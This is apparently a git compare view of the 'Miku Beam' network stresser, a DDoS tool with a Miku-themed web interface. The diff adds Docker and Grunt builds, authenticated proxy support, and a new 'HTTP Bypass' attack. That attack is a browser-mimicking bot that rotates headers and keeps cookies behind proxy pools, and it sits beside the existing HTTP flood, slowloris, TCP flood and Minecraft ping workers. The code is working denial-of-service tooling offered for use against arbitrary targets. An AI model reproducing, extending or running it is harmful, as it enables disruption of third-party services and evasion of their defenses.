Compare commits

...
Sign in to create a new pull request.

18 commits

Author SHA1 Message Date
Sammwy
7707d29a2a
Merge pull request #74 from asynchronous-x/main
Add miku favicon
2025-02-23 01:11:31 -03:00
Asynchronous
b026dbe8eb add miku favicon 2025-02-20 14:26:22 -07:00
Sammwy
791c4d3c8c
fix: 🧀 copy util files 2025-01-27 21:02:21 -03:00
Sammwy
10bcb2bafd
feature: 🚀 added bypass method + fix socks proxy http bug 2025-01-26 23:18:39 -03:00
Sammwy
60aab0bf2b
refactor: 🧊 modularized some util functions 2025-01-26 22:23:43 -03:00
Sammwy
2f97120550
feature: 🐋 added docker image 2025-01-26 19:30:49 -03:00
Sammwy
185c01aa6d
chore: 📋 updated readme 2025-01-26 18:49:11 -03:00
Sammwy
e6f9c89f43
fix: 🥚 merge conflicts 2025-01-26 18:46:52 -03:00
Sammwy
26f6a37e80
feature: 🎂 production mode 2025-01-26 18:45:22 -03:00
Sammwy
58c5e38238
chore: better faqs section 2025-01-25 22:08:36 -03:00
Sammwy
37ab437480
Merge pull request #30 from 0xivb/main 2025-01-24 19:29:16 -03:00
IvanCodeslol
f32e7a27ae
fix: enable strictPort for vite to prevent CORS error 2025-01-24 23:22:28 +02:00
Sammwy
ac3cae6d72
Merge pull request #24 from theDesConnet/main
feature: add support proxies with authentication
2025-01-23 20:12:31 -03:00
Roman U.
c90424628b
chore: Update ReadMe 2025-01-23 20:43:32 +07:00
Roman U. (DesConnet)
155d2a6806 feature: add support proxies with authentication 2025-01-23 20:37:25 +07:00
Sammwy
289eff9ac1
Merge pull request #20 from eltociear/patch-1
chore: update index.css
2025-01-22 17:27:24 -03:00
Sammwy
0e27a8b54c
Merge branch 'rainwashed-main' 2025-01-22 17:26:40 -03:00
Ikko Eltociear Ashimine
f076d24bad
chore: update index.css
virtical -> vertical
2025-01-23 03:28:25 +09:00
24 changed files with 732 additions and 121 deletions

23
Dockerfile Normal file
View file

@ -0,0 +1,23 @@
# Use the official Node.js v20 image as a base
FROM node:20
# Set the working directory
WORKDIR /app
# Copy package.json
COPY package*.json ./
# Install dependencies using bun
RUN npm install
# Copy the rest of the source code
COPY . .
# Build the project and output to the ./dist directory
RUN npm run build
# Expose the port the app runs on (adjust if necessary)
EXPOSE 3000
# Run the application
CMD ["npm", "run", "start"]

56
Gruntfile.cjs Normal file
View file

@ -0,0 +1,56 @@
module.exports = function (grunt) {
grunt.initConfig({
pkg: grunt.file.readJSON("package.json"),
// Build from source.
shell: {
clean: {
command: "rimraf dist",
},
buildClient: {
command: "vite build",
},
buildServer: {
command:
"tsc --project tsconfig.server.json && tsc-alias -p tsconfig.server.json",
},
},
// Copy worker files (Backend attack methods and utilities)
copy: {
static_workers: {
expand: true,
cwd: "server/workers/",
src: "*",
dest: "dist/workers/",
},
static_utils: {
expand: true,
cwd: "server/utils/",
src: "*",
dest: "dist/utils/",
},
},
// Run concurrent tasks
concurrent: {
build: ["shell:buildClient", "shell:buildServer"],
copy_static: ["copy:static_workers", "copy:static_utils"],
},
});
grunt.loadNpmTasks("grunt-contrib-copy");
grunt.loadNpmTasks("grunt-shell");
grunt.loadNpmTasks("grunt-concurrent");
// Run our tasks
grunt.registerTask("build", [
"shell:clean",
"concurrent:build",
"concurrent:copy_static",
]);
grunt.registerTask("build_server", ["shell:buildServer"]);
grunt.registerTask("build_client", ["shell:buildClient"]);
};

View file

@ -6,6 +6,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
## Features 🎉
- 🐳 **Docker Ready**: MMB is ready to be built and run in a Docker container.
- 🌐 **Real-time Attack Visualization**: View your attacks progress and statistics in real-time as it runs. 🔥
- 🎶 **Miku-themed UI**: A cute and vibrant design with Mikus vibe to make the process more fun. Includes a banger song to keep you pumped! 🎧
- 🧑‍💻 **Configurable Attack Parameters**: Easily set the attack method, packet size, duration, and packet delay via the frontend interface.
@ -14,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
- 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
- 📡 **Attack Methods:**:
- `HTTP Flood` - Send random HTTP requests
- `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...)
- `HTTP Slowloris` - Send HTTP requests and keep the connection open
- `Minecraft Ping` - Send Minecraft ping/motd requests
- `TCP Flood` - Send random TCP packets
@ -27,7 +29,7 @@ Make sure you have the following installed:
- Node.js (v14 or above) 🌱
- npm (Node Package Manager) 📦
### Installation 💻
### Development Mode 🔧
1. Clone this repository:
@ -43,18 +45,50 @@ Make sure you have the following installed:
```
3. Create the necessary files:
- `proxies.txt` - List of proxies.
- `uas.txt` - List of user agents.
- `data/proxies.txt` - List of proxies.
- `data/uas.txt` - List of user agents.
4. Run the server:
4. Run the server in development mode:
```bash
npm run dev
```
The server will run on port `3000` by default. 🌐
- The **frontend** runs on `http://localhost:5173`.
- The **backend** runs on `http://localhost:3000`.
5. Open the frontend (usually accessible at `http://localhost:5173`), where you can configure and visualize your attacks.
---
### Production Mode 💥
1. Clone the repository and navigate to the project directory:
```bash
git clone https://github.com/sammwyy/mikumikubeam.git
cd mikumikubeam
```
2. Install the dependencies:
```bash
npm install
```
3. Build the project:
```bash
npm run build
```
4. Start the server in production mode:
```bash
npm run start
```
In production mode, both the **frontend** and **backend** are served on the same port (`http://localhost:3000`).
> Don't forget to add the necessary files `data/proxies.txt` and `data/uas.txt`.
## Usage ⚙️
@ -128,23 +162,26 @@ const attackHandlers = {
### FAQs ❓
> 1. What operating system does MMB support?
**1. What operating system does MMB support?**
**Re:** **Windows**, **Linux**, **Mac** and **Android (untested)**
> **Windows**, **Linux**, **Mac** and **Android (untested)**
> 2. It crashes on startup, giving a "concurrently" error.
**2. It crashes on startup, giving a "concurrently" error**
**Re:** Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
> Try running two terminals instead of one, in the first one use "npm run dev:client", and in the other one "npm run dev:server". (This happened to several people with Windows 11)
> 3. I go to "http://localhost:3000" and nothing appears.
**3. I go to "<http://localhost:3000>" and nothing appears.**
**Re:** Port `3000` is the server port, to see the UI you must use port `5173` (http://localhost:5173)
> Port `3000` is the server port, to see the UI you must use port `5173` (<http://localhost:5173>)
> 4. Requests fail to be sent to the target server (Read timeout and variations)
**Re:** You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
- `protocol://host:port`
- `host:port` (Uses http as default protocol)
- `host` (Uses 8080 as default port)
**4. Requests fail to be sent to the target server (Read timeout and variations)**
> You must put the corresponding proxies in the file `data/proxies.txt`. On each line, put a different proxy that will be used to perform the attack. The format must be the following:
>
> - `protocol://user:password@host:port` (Proxy with authentication)
> - `protocol://host:port`
> - `host:port` (Uses http as default protocol)
> - `host` (Uses 8080 as default port)
---

BIN
bun.lockb

Binary file not shown.

14
docker-compose.yml Normal file
View file

@ -0,0 +1,14 @@
version: "3.8"
services:
app:
build:
context: .
dockerfile: Dockerfile
ports:
- "3000:3000"
volumes:
- .:/app
environment:
- NODE_ENV=development
command: npm run start

View file

@ -2,7 +2,7 @@
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
<link rel="icon" type="image/svg+xml" href="/miku.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Miku Beam - Network Stresser</title>
</head>

View file

@ -3,26 +3,31 @@
"private": true,
"version": "0.0.0",
"type": "module",
"main": "./dist/index.js",
"scripts": {
"dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"",
"dev:server": "tsx watch server/",
"dev:client": "vite",
"build": "vite build",
"dev:server": "cross-env NODE_ENV=development tsx watch server/",
"dev:client": "cross-env NODE_ENV=development vite",
"clean": "rimraf ./dist",
"build": "grunt build",
"build:client": "grunt build_client",
"build:server": "grunt build_server",
"lint": "eslint .",
"preview": "vite preview"
"preview": "vite preview",
"start": "cross-env NODE_ENV=production node ."
},
"dependencies": {
"axios": "^1.7.9",
"body-parser": "^1.20.3",
"concurrently": "^9.1.2",
"cheerio": "^1.0.0",
"cross-env": "^7.0.3",
"express": "^4.21.2",
"lucide-react": "^0.344.0",
"react": "^18.3.1",
"react-dom": "^18.3.1",
"socket.io": "^4.7.4",
"socket.io-client": "^4.7.4",
"socks-proxy-agent": "^8.0.5",
"tsx": "^4.19.2"
"socks-proxy-agent": "^8.0.5"
},
"devDependencies": {
"@eslint/js": "^9.9.1",
@ -31,12 +36,20 @@
"@types/react-dom": "^18.3.0",
"@vitejs/plugin-react": "^4.3.1",
"autoprefixer": "^10.4.18",
"concurrently": "^9.1.2",
"eslint": "^9.9.1",
"eslint-plugin-react-hooks": "^5.1.0-rc.0",
"eslint-plugin-react-refresh": "^0.4.11",
"globals": "^15.9.0",
"grunt": "^1.6.1",
"grunt-concurrent": "^3.0.0",
"grunt-contrib-copy": "^1.0.0",
"grunt-shell": "^4.0.0",
"postcss": "^8.4.35",
"rimraf": "^6.0.1",
"tailwindcss": "^3.4.1",
"tsc-alias": "^1.8.10",
"tsx": "^4.19.2",
"typescript": "^5.5.3",
"typescript-eslint": "^8.3.0",
"vite": "^5.4.2"

1
public/miku.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 2.6 MiB

View file

@ -28,9 +28,23 @@ export function loadUserAgents() {
export function loadProxies(): Proxy[] {
const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
//RegEx for proxies with authentication (protocol://user:pass@host:port)
const authProxiesRegEx = new RegExp(/^(http|https|socks4|socks5|):\/\/(\S+:\S+)@((\w+|\d+\.\d+\.\d+\.\d+):\d+)$/, 'g');
return lines.map((line) => {
const [protocol, addr] = line.split("://");
const [host, port] = addr.split(":");
return { protocol, host, port: parseInt(port) };
const [protocol, loginInfo] = line.split("://");
if (authProxiesRegEx.test(line)) {
const [auth, addr] = loginInfo.split("@");
const [user, pass] = auth.split(":");
const [host, port] = addr.split(":");
return { protocol, host, port: parseInt(port), username: user, password: pass };
} else {
const [host, port] = loginInfo.split(":");
return { protocol, host, port: parseInt(port) };
}
});
}

View file

@ -1,19 +1,20 @@
import express from "express";
import { readFileSync, writeFileSync } from "fs";
import { createServer } from "http";
import { dirname, join } from "path";
import { readFileSync, writeFileSync } from "fs";
import { Server } from "socket.io";
import { fileURLToPath } from "url";
import { Worker } from "worker_threads";
import bodyParser from "body-parser";
import { currentPath, loadProxies, loadUserAgents } from "./fileLoader";
import { AttackMethod } from "./lib";
import { filterProxies } from "./proxyUtils";
import bodyParser from "body-parser";
// Define the workers based on attack type
const attackWorkers: { [key in AttackMethod]: string } = {
http_flood: "./workers/httpFloodAttack.js",
http_bypass: "./workers/httpBypassAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",
@ -21,14 +22,15 @@ const attackWorkers: { [key in AttackMethod]: string } = {
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
const __prod = process.env.NODE_ENV === "production";
const app = express();
const httpServer = createServer(app);
const io = new Server(httpServer, {
cors: {
origin: "http://localhost:5173",
origin: __prod ? "" : "http://localhost:5173",
methods: ["GET", "POST"],
allowedHeaders: ["Content-Type"]
allowedHeaders: ["Content-Type"],
},
});
@ -38,6 +40,8 @@ const userAgents = loadUserAgents();
console.log("Proxies loaded:", proxies.length);
console.log("User agents loaded:", userAgents.length);
app.use(express.static(join(__dirname, "public")));
io.on("connection", (socket) => {
console.log("Client connected");
@ -109,47 +113,56 @@ io.on("connection", (socket) => {
});
app.get("/configuration", (req, res) => {
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
res.setHeader("Content-Type", "application/json");
let proxiesText = readFileSync(join(currentPath(), "data", "proxies.txt"), "utf-8");
let uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
const proxiesText = readFileSync(
join(currentPath(), "data", "proxies.txt"),
"utf-8"
);
const uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
res.send({
proxies: btoa(proxiesText),
uas: btoa(uasText),
})
})
});
});
app.options('/configuration', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:5173');
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
app.options("/configuration", (req, res) => {
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
res.setHeader("Access-Control-Allow-Methods", "POST, OPTIONS");
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
res.send();
});
app.post("/configuration", bodyParser.json(), (req, res) => {
res.setHeader("Access-Control-Allow-Methods", "POST");
res.setHeader("Access-Control-Allow-Headers", "Content-Type")
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
res.setHeader("Access-Control-Allow-Headers", "Content-Type");
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173");
res.setHeader("Content-Type", "application/text");
// console.log(req.body)
// atob and btoa are used to avoid the problems in sending data with // characters, etc.
let proxies = atob(req.body["proxies"]);
let uas = atob(req.body["uas"]);
const proxies = atob(req.body["proxies"]);
const uas = atob(req.body["uas"]);
writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, {
encoding: "utf-8"
encoding: "utf-8",
});
writeFileSync(join(currentPath(), "data", "uas.txt"), uas, {
encoding: "utf-8"
encoding: "utf-8",
});
res.send("OK")
})
const PORT = 3000;
httpServer.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
res.send("OK");
});
const PORT = parseInt(process.env.PORT || "3000");
httpServer.listen(PORT, () => {
if (__prod) {
console.log(
`(Production Mode) Client and server is running under http://localhost:${PORT}`
);
} else {
console.log(`Server is running under development port ${PORT}`);
}
});

View file

@ -1,6 +1,8 @@
export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string;
export interface Proxy {
username?: string;
password?: string;
protocol: ProxyProtocol;
host: string;
port: number;
@ -8,6 +10,7 @@ export interface Proxy {
export type AttackMethod =
| "http_flood"
| "http_bypass"
| "http_slowloris"
| "tcp_flood"
| "minecraft_ping";

View file

@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
http_flood: ["http", "https", "socks4", "socks5"],
http_bypass: ["http", "https", "socks4", "socks5"],
http_slowloris: ["socks4", "socks5"],
tcp_flood: ["socks4", "socks5"],
minecraft_ping: ["socks4", "socks5"],

113
server/utils/clientUtils.js Normal file
View file

@ -0,0 +1,113 @@
import axios from "axios";
import net from "net";
import { SocksProxyAgent } from "socks-proxy-agent";
// Misc
export function createAgent(proxy) {
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
throw new Error("Unsupported proxy protocol for agent: " + proxy.protocol);
}
const uri = `${proxy.protocol}://${
proxy.username && proxy.password
? `${proxy.username}:${proxy.password}@`
: ""
}${proxy.host}:${proxy.port}`;
return new SocksProxyAgent(uri);
}
// HTTP Client
export function createMimicHttpClient(proxy, userAgent) {
return createHttpClient({
headers: { "User-Agent": userAgent },
proxy,
timeout: 5000,
validateStatus: (status) => {
return status < 500;
},
maxRedirects: 3,
});
}
export function createHttpClient(
clientConfig = {
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
},
timeout: 5000,
validateStatus: (status) => {
return status < 500;
},
maxRedirects: 0,
proxy: {},
}
) {
const config = { ...clientConfig };
const proxy = config.proxy;
if (proxy.protocol == "http" || proxy.protocol == "https") {
config.proxy = {
host: proxy.host,
port: proxy.port,
auth: proxy.username ? { username: proxy.username } : null,
};
} else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") {
const agent = createAgent(proxy);
config.proxy = false;
config.httpAgent = agent;
config.httpsAgent = agent;
} else {
throw new Error(
"Unsupported proxy protocol for HTTP client: " + proxy.protocol
);
}
const client = axios.create(config);
return client;
}
// TCP Client
const DEFAULT_SOCKET_CONFIG = {
host: "127.0.0.1",
port: 1080,
timeout: 5000,
};
export function createTcpClient(
proxy,
socketConfig = DEFAULT_SOCKET_CONFIG,
callback
) {
if (proxy.protocol !== "socks4" && proxy.protocol !== "socks5") {
throw new Error(
"Unsupported proxy protocol for TCP client: " + proxy.protocol
);
}
const socket = new net.Socket();
const proxyAgent = createAgent(proxy);
const config = { ...DEFAULT_SOCKET_CONFIG, ...socketConfig };
socket.setTimeout(config.timeout);
socket.connect(
{ host: config.host, port: config.port, agent: proxyAgent },
() => {
if (callback) callback(socket);
socket["open"] = true;
}
);
socket.on("close", () => {
socket["open"] = false;
});
socket.on("timeout", () => {
socket.destroy();
socket["open"] = false;
});
return socket;
}

212
server/utils/httpBot.js Normal file
View file

@ -0,0 +1,212 @@
import { load as cheerioLoad } from "cheerio"; // For parsing HTML
import { createHttpClient } from "./clientUtils.js";
import { randomInteger } from "./randomUtils.js";
export default class HTTPBot {
constructor({
proxy = null,
userAgent = "Mozilla/5.0",
headers = {},
followRedirects = true,
responseCallback = null,
} = {}) {
this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times
this.running = false;
// Default headers
this.defaultHeaders = {
"User-Agent": userAgent,
Accept:
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
Connection: "keep-alive",
...headers, // Override default headers if custom headers are passed
};
// Create Axios instance with optional proxy and cookie handling
this.axiosInstance = createHttpClient({
headers: this.defaultHeaders,
proxy,
timeout: 10000,
maxRedirects: followRedirects ? 5 : 0,
validateStatus: (status) => {
return status < 500;
},
});
this.cookies = {}; // Store cookies from responses
this.responseCallback = responseCallback;
}
// Main function that starts the cycle
startCycle(url) {
this.running = true;
this.runCycle(url);
}
// Perform the cycle recursively with setTimeout to avoid blocking
async runCycle(url) {
if (!this.running) return; // Exit if the bot is not running
const runNextCycle = async () => {
// Wait for a random time between 2 to 10 seconds before starting the next cycle
const randomWait = randomInteger(2000, 10000);
await this.sleep(randomWait);
// Start the next cycle
this.runCycle(url);
};
try {
// Perform a GET request to the main URL
const mainResponse = await this.getRequest(url, true);
if (!mainResponse) {
runNextCycle();
return;
}
const $ = cheerioLoad(mainResponse.data);
// Get all assets (CSS, JS, IMG)
const assets = this.getAssets($, url);
// Download all assets
for (let asset of assets) {
await this.getRequest(asset);
}
// Get all <a> links and make GET requests to each one with a delay
const links = this.getLinks($, url);
const linkPromises = links.map((link) => this.getRequest(link));
// Wait for all links to be processed
await Promise.all(linkPromises);
// Run the next cycle
runNextCycle();
} catch (err) {
if (this.responseCallback) {
this.responseCallback(err);
}
}
}
// Makes a GET request with Axios and handles errors
async getRequest(url, bypassAlreadyVisited = false) {
if (!bypassAlreadyVisited) {
if (this.visitedUrls.has(url)) {
// console.log(`Skipping already visited URL: ${url}`);
return;
}
this.visitedUrls.add(url);
}
try {
// console.log(`Requesting: ${url}`);
const response = await this.axiosInstance.get(url);
if (this.responseCallback) {
this.responseCallback();
}
// Handle cookies from response headers
this.handleCookies(response.headers["set-cookie"]);
// Wait between 2 to 5 seconds after each request
await this.sleep(randomInteger(100, 1000));
return response;
} catch (error) {
if (this.responseCallback) {
this.responseCallback(error);
}
}
}
// Handle cookies by storing them and attaching them to future requests
handleCookies(setCookieHeader) {
if (setCookieHeader) {
setCookieHeader.forEach((cookie) => {
const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
const [cookieName, cookieValue] = cookieParts.split("=");
this.cookies[cookieName] = cookieValue;
});
// Add the cookies to the headers for the next request
this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
this.cookies
)
.map(([key, value]) => `${key}=${value}`)
.join("; ");
}
}
// Extracts all assets (CSS, JS, IMG) from the HTML
getAssets($, target) {
let assets = [];
$('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
const src = $(el).attr("href") || $(el).attr("src");
if (src) assets.push(src);
});
// Normalize assets by target
assets = assets.map((asset) => {
if (asset.startsWith("../")) {
asset = asset.slice(3);
}
if (asset.startsWith("./")) {
asset = asset.slice(2);
}
if (asset.startsWith("/")) {
asset = asset.slice(1);
}
if (asset.includes("://")) return asset;
return `${target}/${asset}`;
});
return assets;
}
// Extracts all <a> links to make GET requests to each one
getLinks($, target) {
let links = [];
$("a[href]").each((i, el) => {
const href = $(el).attr("href");
if (href) links.push(href);
});
// Normalize links by target
links = links.map((link) => {
if (link.startsWith("../")) {
link = link.slice(3);
}
if (link.startsWith("./")) {
link = link.slice(2);
}
if (link.startsWith("/")) {
link = link.slice(1);
}
if (link.includes("://")) return link;
return `${target}/${link}`;
});
return links;
}
// Function to wait for a random amount of time
sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
// Stop the cycle
stopCycle() {
this.running = false;
}
}

View file

@ -1,6 +1,5 @@
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
import net from "net";
import { SocksProxyAgent } from "socks-proxy-agent";
import { createTcpClient } from "./clientUtils.js";
class MinecraftProtocol {
static writeVarInt(val) {
@ -87,17 +86,7 @@ class MinecraftBufferReader {
export function pingMinecraftServer(host, port, proxy) {
return new Promise((resolve, reject) => {
const { protocol, host: proxyHost, port: proxyPort } = proxy;
const agent = new SocksProxyAgent(
`${protocol}://${proxyHost}:${proxyPort}`
);
const socket = net.createConnection({
host: host,
port: port,
agent: agent,
});
const socket = createTcpClient(proxy, { host, port });
const timeoutTask = setTimeout(() => {
socket.emit("error", new Error("Socket timeout"));

View file

@ -16,3 +16,7 @@ export function randomString(length) {
export function randomInteger(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
export function randomItem(array) {
return array[Math.floor(Math.random() * array.length)];
}

View file

@ -0,0 +1,92 @@
import { parentPort, workerData } from "worker_threads";
import HTTPBot from "../utils/httpBot.js";
import { randomItem } from "../utils/randomUtils.js";
const HTTP_ACCEPT_HEADERS = [
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
];
const HTTP_LANGUAGE_HEADERS = [
"en-US,en;q=0.5",
"es-ES,en;q=0.5",
"fr-FR,en;q=0.5",
"de-DE,en;q=0.5",
"it-IT,en;q=0.5",
"pt-BR,en;q=0.5",
];
const HTTP_ENCODING_HEADERS = [
"gzip, deflate, br",
"gzip, deflate",
"gzip",
"deflate, br",
"deflate",
"br",
];
const startAttack = () => {
const { target, proxies, userAgents, duration } = workerData;
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
let totalPackets = 0;
const pool = new Set();
const createBot = (proxy) => {
const bot = new HTTPBot({
proxy,
userAgent: randomItem(userAgents),
followRedirects: true,
headers: {
Accept: randomItem(HTTP_ACCEPT_HEADERS),
"Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
"Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
Connection: "keep-alive",
"Upgrade-Insecure-Requests": "1",
},
responseCallback: (error) => {
if (error) {
parentPort.postMessage({
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
totalPackets,
});
} else {
totalPackets++;
parentPort.postMessage({
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
totalPackets,
});
}
},
});
pool.add(bot);
bot.startCycle(fixedTarget);
};
const createPool = () => {
proxies.forEach((proxy) => createBot(proxy));
};
const clearPool = () => {
pool.forEach((bot) => bot.stopCycle());
pool.clear();
};
setTimeout(() => {
clearPool();
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}, duration * 1000);
createPool();
};
if (workerData) {
startAttack();
}

View file

@ -1,7 +1,6 @@
import axios from "axios";
import { SocksProxyAgent } from "socks-proxy-agent";
import { parentPort, workerData } from "worker_threads";
import { createMimicHttpClient } from "../utils/clientUtils.js";
import { randomBoolean, randomString } from "../utils/randomUtils.js";
const startAttack = () => {
@ -14,32 +13,14 @@ const startAttack = () => {
const sendRequest = async (proxy, userAgent) => {
try {
const config = {
headers: { "User-Agent": userAgent },
timeout: 2000,
validateStatus: (status) => {
return status < 500;
},
};
if (proxy.protocol === "http") {
config.proxy = {
host: proxy.host,
port: proxy.port,
};
} else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
config.httpAgent = new SocksProxyAgent(
`${proxy.protocol}://${proxy.host}:${proxy.port}`
);
}
const client = createMimicHttpClient(proxy, userAgent);
const isGet = packetSize > 64 ? false : randomBoolean();
const payload = randomString(packetSize);
if (isGet) {
await axios.get(`${fixedTarget}/${payload}`, config);
await client.get(`${fixedTarget}/${payload}`);
} else {
await axios.post(fixedTarget, payload, config);
await client.post(fixedTarget, payload);
}
totalPackets++;

View file

@ -31,7 +31,7 @@ const startAttack = () => {
Host: targetHost,
},
agent: new SocksProxyAgent(
`${proxy.protocol}://${proxy.host}:${proxy.port}`
`${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`
),
};

View file

@ -1,7 +1,6 @@
import net from "net";
import { SocksProxyAgent } from "socks-proxy-agent";
import { parentPort, workerData } from "worker_threads";
import { createTcpClient } from "../utils/clientUtils.js";
import { randomString } from "../utils/randomUtils.js";
const startAttack = () => {
@ -11,40 +10,31 @@ const startAttack = () => {
const port = parseInt(targetPort, 10);
const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
if (port < 1 || port > 65535)
throw new Error("Invalid port: Should be between 1 and 65535");
let totalPackets = 0;
const startTime = Date.now();
const sendPacket = async (proxy) => {
const socket = new net.Socket();
let open = false;
socket.setTimeout(2000);
const socket = createTcpClient(proxy, { host: targetHost, port: port });
const proxyAgent = new SocksProxyAgent(
`${proxy.protocol}://${proxy.host}:${proxy.port}`
);
setInterval(() => {
if (socket.writable && open) {
socket.write(randomString(packetSize));
}
}, [1000]);
socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => {
socket.on("connect", () => {
totalPackets++;
open = true;
parentPort.postMessage({
log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
totalPackets,
});
});
socket.on("close", () => {
open = false;
});
socket.on("timeout", () => {
socket.destroy();
open = false;
const interval = setInterval(() => {
if (socket.writable && socket["open"]) {
socket.write(randomString(packetSize));
} else {
clearInterval(interval);
}
}, 3000);
});
socket.on("error", (err) => {

View file

@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
import { useEffect, useRef, useState } from "react";
import { io } from "socket.io-client";
const socket = io("http://localhost:3000");
function isHostLocal(host: string) {
return (
host === "localhost" ||
host === "127.0.0.1" ||
host.startsWith("::1") ||
host.startsWith("192.168") ||
host.startsWith("10.") ||
host.startsWith("172.")
);
}
function getSocketURL() {
const host = window.location.host.split(":")[0];
const isLocal = isHostLocal(host);
const socketURL = isLocal ? `http://${host}:3000` : "/";
return socketURL;
}
const socket = io(getSocketURL());
function ConfigureProxiesAndAgentsView() {
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
@ -69,7 +87,7 @@ function ConfigureProxiesAndAgentsView() {
onChange={(e) =>
setConfiguration([e.target.value, configuration[1]])
}
placeholder="socks5://0.0.0.0"
placeholder="socks5://0.0.0.0&#10;socks4://user:pass@0.0.0.0:12345"
></textarea>
<p className="pl-1 mt-2 mb-1 italic">uas.txt</p>
<textarea
@ -369,6 +387,7 @@ function App() {
disabled={isAttacking}
>
<option value="http_flood">HTTP/Flood</option>
<option value="http_bypass">HTTP/Bypass</option>
<option value="http_slowloris">HTTP/Slowloris</option>
<option value="tcp_flood">TCP/Flood</option>
<option value="minecraft_ping">Minecraft/Ping</option>

View file

@ -156,7 +156,7 @@ input[type=range].volume_bar:focus::-ms-fill-upper {
background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1));
}
/*TODO: Use one of the selectors from https://stackoverflow.com/a/20541859/7077589 and figure out
how to remove the virtical space around the range input in IE*/
how to remove the vertical space around the range input in IE*/
@supports (-ms-ime-align:auto) {
/* Pre-Chromium Edge only styles, selector taken from hhttps://stackoverflow.com/a/32202953/7077589 */
input[type=range].volume_bar {

29
tsconfig.server.json Normal file
View file

@ -0,0 +1,29 @@
{
"compilerOptions": {
"baseUrl": ".",
"paths": {
"*": ["*"]
},
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "node",
"strict": true,
"esModuleInterop": true,
"forceConsistentCasingInFileNames": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "server",
"allowSyntheticDefaultImports": true,
"noImplicitAny": false
},
"include": ["server/**/*.ts"],
"exclude": ["node_modules"],
"tsc-alias": {
"verbose": false,
"resolveFullPaths": true,
"fileExtensions": {
"inputGlob": "{js,jsx,mjs}",
"outputCheck": ["js", "json", "jsx", "mjs"]
}
}
}

View file

